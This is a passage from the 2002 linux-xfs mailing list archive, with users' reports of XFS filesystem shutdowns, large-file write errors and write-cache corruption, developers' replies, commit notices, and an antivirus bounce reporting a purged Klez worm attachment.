linux/arch/alpha/kernel/asm-offsets.c - 1.2 linux/include/linux/posix_acl_xattr.h - 1.3 linux/drivers/input/keyboard/amikbd.c - 1.5 linux/fs/direct-io.c - 1.12 linux/arch/arm/mm/copypage-xscale.S - 1.2 linux/drivers/serial/clps711x.c - 1.3 linux/drivers/serial/uart00.c - 1.3 linux/drivers/serial/sa1100.c - 1.3 linux/drivers/serial/core.c - 1.5 linux/drivers/serial/anakin.c - 1.3 linux/drivers/serial/amba.c - 1.4 linux/drivers/serial/Makefile - 1.5 linux/drivers/serial/8250_pci.c - 1.4 linux/drivers/serial/8250_cs.c - 1.3 linux/drivers/serial/8250.c - 1.10 linux/drivers/serial/21285.c - 1.4 linux/include/asm-m68k/nubus.h - 1.2 linux/include/linux/serial_core.h - 1.7 linux/include/asm-m68k/thread_info.h - 1.2 linux/drivers/base/fs/Makefile - 1.4 linux/drivers/base/fs/bus.c - 1.3 linux/drivers/base/fs/device.c - 1.4 linux/drivers/base/fs/driver.c - 1.3 linux/drivers/base/fs/fs.h - 1.3 linux/drivers/serial/sunzilog.c - 1.4 linux/drivers/serial/sunsab.c - 1.3 linux/drivers/serial/sunsu.c - 1.5 linux/arch/arm/def-configs/lubbock - 1.4 linux/include/linux/pagevec.h - 1.6 linux/arch/i386/kernel/cpu/mtrr/generic.c - 1.3 linux/arch/alpha/vmlinux.lds.S - 1.3 linux/drivers/base/intf.c - 1.2 linux/drivers/base/fs/intf.c - 1.2 linux/drivers/base/fs/class.c - 1.2 linux/drivers/base/class.c - 1.4 linux/fs/jfs/xattr.c - 1.6 linux/arch/i386/kernel/numaq.c - 1.4 linux/drivers/ide/ide-lib.c - 1.5 linux/arch/um/kernel/irq.c - 1.3 linux/include/asm-um/processor-generic.h - 1.2 linux/arch/m68k/vmlinux-std.lds - 1.2 linux/arch/i386/mm/hugetlbpage.c - 1.4 linux/arch/sparc64/mm/hugetlbpage.c - 1.2 linux/drivers/acpi/driverfs.c - 1.2 linux/arch/ppc64/kernel/asm-offsets.c - 1.2 linux/arch/i386/mach-generic/Makefile - 1.3 linux/arch/i386/mach-visws/visws_apic.c - 1.2 linux/drivers/acpi/scan.c - 1.2 linux/arch/ia64/mm/hugetlbpage.c - 1.2 linux/drivers/base/cpu.c - 1.2 linux/include/linux/cpu.h - 1.2 linux/include/asm-ia64/topology.h - 1.3 linux/kernel/cpufreq.c - 1.2 linux/include/linux/cpufreq.h - 1.2 linux/arch/i386/kernel/cpu/cpufreq/p4-clockmod.c - 1.2 linux/arch/i386/kernel/cpu/cpufreq/longrun.c - 1.2 linux/drivers/bluetooth/hci_bcsp.c - 1.3 linux/drivers/scsi/aacraid/linit.c - 1.4 linux/drivers/scsi/aacraid/aacraid.h - 1.2 linux/drivers/scsi/aacraid/aachba.c - 1.4 linux/net/bluetooth/rfcomm/tty.c - 1.5 linux/net/bluetooth/rfcomm/sock.c - 1.5 linux/net/bluetooth/rfcomm/core.c - 1.5 linux/net/bluetooth/bnep/core.c - 1.4 linux/include/net/bluetooth/rfcomm.h - 1.4 linux/fs/cifs/TODO - 1.2 linux/fs/cifs/cifs_debug.c - 1.3 linux/fs/cifs/cifsfs.c - 1.2 linux/fs/cifs/cifsfs.h - 1.2 linux/fs/cifs/cifsglob.h - 1.2 linux/fs/cifs/cifsproto.h - 1.2 linux/fs/cifs/cifssmb.c - 1.3 linux/fs/cifs/connect.c - 1.3 linux/fs/cifs/file.c - 1.3 linux/fs/cifs/inode.c - 1.3 linux/fs/cifs/md5.h - 1.2 linux/fs/cifs/misc.c - 1.2 linux/fs/cifs/AUTHORS - 1.2 linux/fs/cifs/netmisc.c - 1.2 linux/fs/cifs/CHANGES - 1.2 linux/fs/cifs/transport.c - 1.2 linux/fs/cifs/smbencrypt.c - 1.2 linux/fs/cifs/nterr.h - 1.2 linux/arch/i386/kernel/timers/timer_pit.c - 1.2 linux/fs/cifs/nterr.c - 1.3 linux/fs/afs/proc.c - 1.2 linux/net/rxrpc/transport.c - 1.2 linux/net/rxrpc/proc.c - 1.2 linux/drivers/oprofile/buffer_sync.c - 1.2 linux/net/rxrpc/peer.c - 1.2 linux/net/rxrpc/main.c - 1.2 linux/net/rxrpc/krxtimod.c - 1.2 linux/net/rxrpc/krxsecd.c - 1.2 linux/net/rxrpc/krxiod.c - 1.2 linux/net/rxrpc/internal.h - 1.2 linux/fs/afs/Makefile - 1.2 linux/net/rxrpc/connection.c - 1.2 linux/net/rxrpc/call.c - 1.2 linux/net/rxrpc/Makefile - 1.2 linux/fs/afs/dir.c - 1.2 linux/fs/afs/errors.h - 1.2 linux/fs/afs/file.c - 1.2 linux/fs/afs/fsclient.c - 1.2 linux/include/linux/dcookies.h - 1.2 linux/fs/afs/inode.c - 1.2 linux/include/rxrpc/call.h - 1.2 linux/fs/afs/internal.h - 1.2 linux/include/rxrpc/peer.h - 1.2 linux/fs/afs/kafsasyncd.c - 1.2 linux/fs/afs/kafstimod.c - 1.2 linux/fs/afs/main.c - 1.2 linux/fs/afs/mntpt.c - 1.2 linux/fs/afs/vnode.h - 1.2 linux/arch/i386/oprofile/Makefile - 1.2 linux/arch/i386/oprofile/nmi_int.c - 1.2 linux/drivers/block/scsi_ioctl.c - 1.3 linux/fs/afs/super.c - 1.2 linux/fs/dcookies.c - 1.2 linux/fs/afs/vlclient.c - 1.2 linux/arch/i386/kernel/edd.c - 1.3 linux/include/linux/sysfs.h - 1.3 linux/drivers/pnp/isapnp/core.c - 1.2 linux/include/linux/kobject.h - 1.2 linux/drivers/mtd/maps/Kconfig - 1.2 linux/drivers/net/Kconfig - 1.2 linux/arch/alpha/Kconfig - 1.2 linux/arch/arm/Kconfig - 1.2 linux/arch/cris/Kconfig - 1.2 linux/include/linux/fcblist.h - 1.2 linux/include/linux/eventpoll.h - 1.2 linux/arch/i386/Kconfig - 1.2 linux/drivers/media/video/Kconfig - 1.2 linux/arch/ia64/Kconfig - 1.2 linux/scripts/kconfig/Makefile - 1.2 linux/scripts/Makefile.build - 1.2 linux/include/asm-parisc/dma.h - 1.2 linux/arch/m68k/Kconfig - 1.2 linux/arch/mips/Kconfig - 1.2 linux/arch/mips64/Kconfig - 1.2 linux/include/asm-ia64/numa.h - 1.2 linux/arch/parisc/Kconfig - 1.2 linux/arch/parisc/kernel/asm-offsets.c - 1.2 linux/arch/parisc/kernel/perf.c - 1.2 linux/arch/parisc/kernel/processor.c - 1.2 linux/drivers/media/Kconfig - 1.2 linux/arch/parisc/kernel/sys_parisc32.c - 1.2 linux/arch/parisc/math-emu/Makefile - 1.2 linux/fs/fcblist.c - 1.2 linux/arch/ppc/Kconfig - 1.2 linux/arch/ppc64/Kconfig - 1.2 linux/arch/s390/Kconfig - 1.2 linux/arch/s390x/Kconfig - 1.2 linux/arch/sh/Kconfig - 1.2 linux/arch/sparc/Kconfig - 1.2 linux/arch/sparc64/Kconfig - 1.2 linux/arch/um/Kconfig - 1.2 linux/arch/x86_64/Kconfig - 1.2 linux/fs/Kconfig - 1.2 linux/lib/kobject.c - 1.2 linux/drivers/video/Kconfig - 1.2 linux/drivers/char/eventpoll.c - 1.2 From owner-linux-xfs@oss.sgi.com Tue Nov 5 02:08:01 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 05 Nov 2002 02:08:06 -0800 (PST) Received: from quasar.sif.it (IDENT:root@quasar.sif.it [131.154.110.3]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA5A7xuR025863 for ; Tue, 5 Nov 2002 02:08:00 -0800 Received: from localhost (matteo@localhost) by quasar.sif.it (8.11.6/8.11.6) with ESMTP id gA5A9Kj21531 for ; Tue, 5 Nov 2002 11:09:20 +0100 Date: Tue, 5 Nov 2002 11:09:20 +0100 (CET) From: Matteo Centonza To: linux-xfs@oss.sgi.com Subject: Corruption of in-memory data Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 1503 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: matteo@sif.it Precedence: bulk X-list: linux-xfs Hi, i get this message and subsequent filesystem shutdown using CVS from 20021031-09:47 (CET): Nov 4 15:07:00 embeh kernel: xfs_force_shutdown(lvm(58,3),0x8) called from line 1042 of file xfs_trans.c. Return address = 0xc01e2c17 Nov 4 15:07:00 embeh kernel: Filesystem "lvm(58,3)": Corruption of in-memory data detected. Shutting down filesystem: lvm(58,3) The problem with the two stacked layer (LVM+RAID5) seems to have gone away (see bug 182). I tend to exclude a memory problem here given that the machine ran fine (with XFS 1.1) before trying the new kernel. After the fs shutdown, the machine was rebooted and the bare recovery made the trick. The subsequent xfs_check showed no problems (so the xfs_repair -n). The same problem happened 5 hours later to the same filesystem (out of 10 this machine exports). Currently the machine it's stick to XFS 1.1 since the last shutdown (currently 16 hours without a single hitch). HTH, -m From owner-linux-xfs@oss.sgi.com Tue Nov 5 02:37:10 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 05 Nov 2002 02:37:15 -0800 (PST) Received: from rrzs2.rz.uni-regensburg.de (rrzs2.rz.uni-regensburg.de [132.199.1.2]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA5Ab8uR026509 for ; Tue, 5 Nov 2002 02:37:09 -0800 Received: from pc9391 (pc9391.physik.uni-regensburg.de [132.199.98.219]) by rrzs2.rz.uni-regensburg.de (8.11.6+Sun/8.11.6) with ESMTP id gA5Abxw15218; Tue, 5 Nov 2002 11:37:59 +0100 (MET) Date: Tue, 5 Nov 2002 11:37:59 +0100 From: Christian Guggenberger To: Matteo Centonza Cc: linux-xfs@oss.sgi.com Subject: Re: Corruption of in-memory data Message-ID: <20021105113759.A32208@pc9391.uni-regensburg.de> References: Mime-Version: 1.0 Content-Type: text/plain; format=flowed; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit In-Reply-To: ; from matteo@sif.it on Tue, Nov 05, 2002 at 11:09:20 +0100 X-Mailer: Balsa 1.2.4 Lines: 29 X-archive-position: 1504 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: christian.guggenberger@physik.uni-regensburg.de Precedence: bulk X-list: linux-xfs On 05 Nov 2002 11:09:20 Matteo Centonza wrote: > Hi, > > i get this message and subsequent filesystem shutdown using > CVS from 20021031-09:47 (CET): > > Nov 4 15:07:00 embeh kernel: xfs_force_shutdown(lvm(58,3),0x8) called from > line 1042 of file xfs_trans.c. Return address = 0xc01e2c17 > Nov 4 15:07:00 embeh kernel: Filesystem "lvm(58,3)": Corruption of > in-memory data detected. Shutting down filesystem: lvm(58,3) > > The problem with the two stacked layer (LVM+RAID5) seems to have gone > away (see bug 182). I tend to exclude a memory problem here given that the > machine ran fine (with XFS 1.1) before trying the new kernel. > > After the fs shutdown, the machine was rebooted and the bare recovery made > the trick. The subsequent xfs_check showed no problems (so the xfs_repair > -n). The same problem happened 5 hours later to the same filesystem (out > of 10 this machine exports). > Matteo, assuming this machine acts as nfsserver? Then it might be related to BUG #186... cheers Christian From owner-linux-xfs@oss.sgi.com Tue Nov 5 02:43:52 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 05 Nov 2002 02:43:57 -0800 (PST) Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id gA5AhquR028164 for ; Tue, 5 Nov 2002 02:43:52 -0800 Received: (from xfs-master@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id gA5AhqLq028163 for linux-xfs@oss.sgi.com; Tue, 5 Nov 2002 02:43:52 -0800 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id gA5AhnuX028143 for ; Tue, 5 Nov 2002 02:43:50 -0800 Received: (from apache@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id gA5AX9VG026479; Tue, 5 Nov 2002 02:33:09 -0800 Date: Tue, 5 Nov 2002 02:33:09 -0800 Message-Id: <200211051033.gA5AX9VG026479@oss.sgi.com> From: bugzilla-daemon@oss.sgi.com To: xfs-master@oss.sgi.com Subject: [Bug 186] xfs_force_shutdown in xfs_trans_cancel X-Bugzilla-Reason: AssignedTo X-archive-position: 1505 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: bugzilla-daemon@oss.sgi.com Precedence: bulk X-list: linux-xfs http://oss.sgi.com/bugzilla/show_bug.cgi?id=186 ------- Additional Comments From c.pascoe@itee.uq.edu.au 2002-11-05 02:33 ------- After applying the patch from Eric separately, I had the following to say, copied here for the record: Doesn't seem to have solved it. Still got an EIO from that same path in xfs_iget, another backtrace attached (this one for a mkdir operation, with the ilookup patch installed). Chris ------- You are receiving this mail because: ------- You are the assignee for the bug, or are watching the assignee. From owner-linux-xfs@oss.sgi.com Tue Nov 5 02:51:57 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 05 Nov 2002 02:51:58 -0800 (PST) Received: from maildab.dataaccess.com.br ([200.212.205.132]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA5ApfuR028979 for ; Tue, 5 Nov 2002 02:51:52 -0800 Received: by maildab.dataaccess.com.br with Internet Mail Service (5.5.2653.19) id <4QD4DSP2>; Tue, 5 Nov 2002 08:53:35 -0300 Message-ID: From: ANTIGEN_MAILDAB To: "'linux-xfs@oss.sgi.com'" Subject: Antigen found VIRUS= W32/Klez.H@m (Norman) virus Date: Tue, 5 Nov 2002 08:53:35 -0300 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-archive-position: 1506 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: ANTIGEN_MAILDAB@dataaccess.com.br Precedence: bulk X-list: linux-xfs Antigen for Exchange found type.exe infected with VIRUS= W32/Klez.H@m (Norman) worm. The message is currently Purged. The message, "Hello,webmaster,japanese lass' sexy pictures", was sent from linux-xfs and was discovered in IMC Queues\Inbound located at DataAccess/DAB/MAILDAB. From owner-linux-xfs@oss.sgi.com Tue Nov 5 03:14:14 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 05 Nov 2002 03:14:20 -0800 (PST) Received: from quasar.sif.it (IDENT:root@quasar.sif.it [131.154.110.3]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA5BECuR031724 for ; Tue, 5 Nov 2002 03:14:13 -0800 Received: from localhost (matteo@localhost) by quasar.sif.it (8.11.6/8.11.6) with ESMTP id gA5BFZv26633; Tue, 5 Nov 2002 12:15:35 +0100 Date: Tue, 5 Nov 2002 12:15:35 +0100 (CET) From: Matteo Centonza To: linux-xfs@oss.sgi.com cc: Chris Pascoe , Christian Guggenberger Subject: Re: Corruption of in-memory data In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 1507 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: matteo@sif.it Precedence: bulk X-list: linux-xfs Hi Chris, Christian, oops, sorry for the duplication.... yes my problem seems to be a brand new example of BUG 186. This filesystem it's the only exported via nfs, samba and atalk. Ciao, -m From owner-linux-xfs@oss.sgi.com Tue Nov 5 07:04:35 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 05 Nov 2002 07:04:39 -0800 (PST) Received: from ledzep.americas.sgi.com (eaganfw1.sgi.com [198.149.7.1]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA5F4YuR009240 for ; Tue, 5 Nov 2002 07:04:34 -0800 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by ledzep.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id JAA40637 for ; Tue, 5 Nov 2002 09:05:33 -0600 (CST) Received: from jen.americas.sgi.com (jen.americas.sgi.com [128.162.187.49]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id JAA87388 for ; Tue, 5 Nov 2002 09:05:32 -0600 (CST) From: Steve Lord Received: by jen.americas.sgi.com (8.11.6/SGI-client-1.7) id gA5F5OD05458; Tue, 5 Nov 2002 09:05:24 -0600 Message-Id: <200211051505.gA5F5OD05458@jen.americas.sgi.com> Date: Tue, 5 Nov 2002 09:05:24 -0600 Subject: TAKE - Add XFS_POSIX_ACL to control ACL compilation in xfs To: linux-xfs@oss.sgi.com X-archive-position: 1508 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: lord@sgi.com Precedence: bulk X-list: linux-xfs Make XFS ACLs obvious to configure again. Date: Tue Nov 5 07:04:39 PST 2002 Workarea: jen.americas.sgi.com:/src/lord/xfs-merge.2.5 The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.5.x-xfs Modid: 2.5.x-xfs:slinx:132045a linux/fs/xfs/Makefile - 1.161 linux/fs/xfs/linux/xfs_super.h - 1.33 linux/fs/xfs/linux/xfs_super.c - 1.243 - switch to CONFIG_XFS_POSIX_ACL linux/fs/xfs/linux/xfs_iops.c - 1.185 - switch to CONFIG_XFS_POSIX_ACL linux/fs/xfs/xfs_acl.h - 1.22 - switch to CONFIG_XFS_POSIX_ACL linux/fs/Kconfig - 1.3 - Add XFS_POSIX_ACL and make FS_POSIX_ACL depend on it From owner-linux-xfs@oss.sgi.com Tue Nov 5 10:36:32 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 05 Nov 2002 10:36:38 -0800 (PST) Received: from BOSSW2K.plustream.com (sdsl-64-139-1-6.dsl.sca.megapath.net [64.139.1.6]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA5IaWuR022590 for ; Tue, 5 Nov 2002 10:36:32 -0800 X-MimeOLE: Produced By Microsoft Exchange V6.0.4712.0 Subject: Failure creating GBs file size under EVMS/XFS MIME-Version: 1.0 Date: Tue, 5 Nov 2002 10:37:37 -0800 Message-ID: X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: Failure creating GBs file size under EVMS/XFS Thread-Index: AcKE+mmydPEU3lZZQam16AsD6eCU0Q== From: "Michael Nguyen" To: Cc: Content-Disposition: inline Content-Type: text/plain Content-Transfer-Encoding: 7bit Content-length: 1145 X-archive-position: 1509 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: michael.nguyen@corosoft.com Precedence: bulk X-list: linux-xfs Hello, Im having failure creating Giga Bytes file size. Below, I will describe my environment and failure. Any assistance/explanation/hint is greatly appreciate. Kernel = 2.4.18 + EVMS1.2.0 + XFS1.1 VGsize = sdb(33GB) + sdc(33GB) + sdd(33GB) LVsize = 80GB # mkfs.xfs -l size=32768b /dev/evms/lvm/myvg/mylv # mount -t xfs /dev/evms/... /myfs # cp /root/tempfile /myfs/BIGfile // tempfile is a 3GB dummy file # cat /root/tempfile >> /myfs/BIGfile # cat /root/tempfile >> /myfs/BIGfile # cat /root/tempfile >> /myfs/BIGfile # cat /root/tempfile >> /myfs/BIGfile # cat: write error: Input/Output error # umount /myfs // recovery # xfs_repair -L /dev/evms... # mount -t xfs /dev/evms/... /myfs // try again # cat /root/tempfile >> /myfs/BIGfile # cat /root/tempfile >> /myfs/BIGfile # cat: write error: Input/Output error Im trying to fill the LV capacity with a single LARGE file, but I get "cat:.. error.." at every few steps. The recovery requires a clear of the Log. Thank you, Michael. [[HTML alternate version deleted]] From owner-linux-xfs@oss.sgi.com Tue Nov 5 10:44:31 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 05 Nov 2002 10:44:37 -0800 (PST) Received: from ledzep.americas.sgi.com (eaganfw1.SGI.COM [198.149.7.1]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA5IiUuR023312 for ; Tue, 5 Nov 2002 10:44:31 -0800 Received: from poppy-e185.americas.sgi.com (poppy-e185.americas.sgi.com [128.162.185.207]) by ledzep.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id MAA43264; Tue, 5 Nov 2002 12:45:29 -0600 (CST) Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.187.5]) by poppy-e185.americas.sgi.com (980427.SGI.8.8.8/SGI-server-1.8) with ESMTP id MAA40312; Tue, 5 Nov 2002 12:45:29 -0600 (CST) Subject: Re: Failure creating GBs file size under EVMS/XFS From: Eric Sandeen To: Michael Nguyen Cc: linux-xfs@oss.sgi.com, evms-devel@lists.sourceforge.net In-Reply-To: References: Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.3 (1.0.3-6) Date: 05 Nov 2002 12:38:56 -0600 Message-Id: <1036521536.6782.9.camel@stout.americas.sgi.com> Mime-Version: 1.0 X-archive-position: 1510 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: sandeen@sgi.com Precedence: bulk X-list: linux-xfs On Tue, 2002-11-05 at 12:37, Michael Nguyen wrote: > Im trying to fill the LV capacity with a single LARGE file, > but I get "cat:.. error.." at every few steps. The recovery > requires a clear of the Log. Why? What happens without it? Also, please try a newer version of XFS, the 1.2 prereleases are much more recent than XFS 1.1. Thanks, -Eric -- Eric Sandeen XFS for Linux http://oss.sgi.com/projects/xfs sandeen@sgi.com SGI, Inc. 651-683-3102 From owner-linux-xfs@oss.sgi.com Tue Nov 5 10:48:56 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 05 Nov 2002 10:48:57 -0800 (PST) Received: from ledzep.americas.sgi.com (eaganfw1.SGI.COM [198.149.7.1]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA5ImtuR025606 for ; Tue, 5 Nov 2002 10:48:55 -0800 Received: from maine.americas.sgi.com (maine.americas.sgi.com [128.162.191.42]) by ledzep.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id MAA52334; Tue, 5 Nov 2002 12:49:54 -0600 (CST) Received: from nstraz by maine.americas.sgi.com with local (Exim 3.36 #1 (Debian)) id 1898lu-0005Ew-00; Tue, 05 Nov 2002 12:49:54 -0600 Date: Tue, 5 Nov 2002 12:49:54 -0600 From: Nathan Straz To: Michael Nguyen Cc: linux-xfs@oss.sgi.com Subject: Re: Failure creating GBs file size under EVMS/XFS Message-ID: <20021105184953.GA7696@sgi.com> Mail-Followup-To: Michael Nguyen , linux-xfs@oss.sgi.com References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.4i X-archive-position: 1511 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: nstraz@sgi.com Precedence: bulk X-list: linux-xfs On Tue, Nov 05, 2002 at 10:37:37AM -0800, Michael Nguyen wrote: > Im having failure creating Giga Bytes file size. Below, I will > describe my environment and failure. Any assistance/explanation/hint > is greatly appreciate. ... > # cat /root/tempfile >> /myfs/BIGfile > # cat /root/tempfile >> /myfs/BIGfile > # cat: write error: Input/Output error Are there any kernel messages in the logs? If you strace cat, what are the last lines around the write error? Can you create the file with dd? -- Nate Straz nstraz@sgi.com sgi, inc http://www.sgi.com/ Linux Test Project http://ltp.sf.net/ From owner-linux-xfs@oss.sgi.com Tue Nov 5 11:50:03 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 05 Nov 2002 11:50:08 -0800 (PST) Received: from localhost (b124048.adsl.hansenet.de [62.109.124.48]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA5Jo2uR027070 for ; Tue, 5 Nov 2002 11:50:03 -0800 Received: (qmail 15922 invoked from network); 5 Nov 2002 19:51:14 -0000 Received: from unknown (HELO dumbo.dyndns.org) (192.168.2.10) by 192.168.2.254 with SMTP; 5 Nov 2002 19:51:14 -0000 Subject: write cache on 3ware controller and XFS From: Christophe Zwecker To: linux-xfs@oss.sgi.com Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.8 Date: 05 Nov 2002 20:50:48 +0100 Message-Id: <1036525848.20194.5.camel@dumbo.zwecker.de> Mime-Version: 1.0 X-archive-position: 1512 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: doc@zwecker.de Precedence: bulk X-list: linux-xfs Hi, im running gentoo with EVMS/LVM on 2.4.19 and XFS on a loop-aes crypted device 430GB. I have write cache disabled on the 3ware controller. I copied 300 gb over network, I noticed that every 50mb or so, the controller stalled, didnt accept more data while writing like crazy to disk. it took me 24 h to copy 300 gb over 100mbit network. After that I tried to turn write cache on, huge more performance. hmm well. I rebooted couple of times, suddenley I could mount ther XFS partition any more (bad superblock). I disabled write cache again and thank god I could fix the issue with xfs_repair. So, here I am , disbled write cache, ok. the performance as I stated above is awfull, is this how its supposed to be ? disable write cache and have terrible performance? I just wonder how you guys do it. also: Do I have to disable write cache on the drives themselfes too ? I have another box with an SCSI ICP Controller and RAID5/XFS on it, I quickly disabled write cache there too, had it running for a year with (phew) :-) thx for your input and help on this Chris -- Christophe Zwecker mail: doc@zwecker.de Hamburg, Germany fon: +49 179 3994867 http://www.zwecker.de "Who is General Failure ? And why is he reading my disk ??" From owner-linux-xfs@oss.sgi.com Tue Nov 5 12:11:45 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 05 Nov 2002 12:11:47 -0800 (PST) Received: from ledzep.americas.sgi.com (eaganfw1.SGI.COM [198.149.7.1]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA5KBhuR027699 for ; Tue, 5 Nov 2002 12:11:44 -0800 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by ledzep.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id OAA56799; Tue, 5 Nov 2002 14:12:39 -0600 (CST) Received: from [192.168.1.101] (IDENT:9V1UFLogEOSYZz3LsNsXd0uplBW5XHEs@mtv-vpn-sw-corp-0-114.corp.sgi.com [134.15.0.114]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id OAA69613; Tue, 5 Nov 2002 14:12:32 -0600 (CST) Subject: Re: write cache on 3ware controller and XFS From: Stephen Lord To: Christophe Zwecker Cc: linux-xfs@oss.sgi.com In-Reply-To: <1036525848.20194.5.camel@dumbo.zwecker.de> References: <1036525848.20194.5.camel@dumbo.zwecker.de> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.7 Date: 05 Nov 2002 14:16:59 -0600 Message-Id: <1036527421.10815.41.camel@snafu> Mime-Version: 1.0 X-archive-position: 1513 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: lord@sgi.com Precedence: bulk X-list: linux-xfs On Tue, 2002-11-05 at 13:50, Christophe Zwecker wrote: > Hi, > > im running gentoo with EVMS/LVM on 2.4.19 and XFS on a loop-aes crypted > device 430GB. > > I have write cache disabled on the 3ware controller. I copied 300 gb > over network, I noticed that every 50mb or so, the controller stalled, > didnt accept more data while writing like crazy to disk. > > it took me 24 h to copy 300 gb over 100mbit network. After that I tried > to turn write cache on, huge more performance. hmm well. I rebooted > couple of times, suddenley I could mount ther XFS partition any more > (bad superblock). I disabled write cache again and thank god I could fix > the issue with xfs_repair. > > So, here I am , disbled write cache, ok. the performance as I stated > above is awfull, is this how its supposed to be ? disable write cache > and have terrible performance? Unfortunately, some hardware is just designed to rely on write caching. It does seem a little odd that you lost the superblock though. This is put there by mkfs, and is always present, so how powering down the device is corrupting it I do not know. That seems like an issue with the 3ware firmware to me. Steve -- Steve Lord voice: +1-651-683-3511 Principal Engineer, Filesystem Software email: lord@sgi.com From owner-linux-xfs@oss.sgi.com Tue Nov 5 12:33:15 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 05 Nov 2002 12:33:17 -0800 (PST) Received: from ledzep.americas.sgi.com (eaganfw1.SGI.COM [198.149.7.1]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA5KXEuR028263 for ; Tue, 5 Nov 2002 12:33:15 -0800 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by ledzep.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id OAA65524 for ; Tue, 5 Nov 2002 14:34:08 -0600 (CST) Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.187.5]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id OAA89404 for ; Tue, 5 Nov 2002 14:34:08 -0600 (CST) From: Eric Sandeen Received: by stout.americas.sgi.com (8.11.6/SGI-client-1.7) id gA5KRYv11317; Tue, 5 Nov 2002 14:27:34 -0600 Message-Id: <200211052027.gA5KRYv11317@stout.americas.sgi.com> Date: Tue, 5 Nov 2002 14:27:34 -0600 Subject: TAKE - Remove "Distribution" tag from rpms X-archive-position: 1514 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: sandeen@sgi.com Precedence: bulk X-list: linux-xfs Remove "Distribution" tag 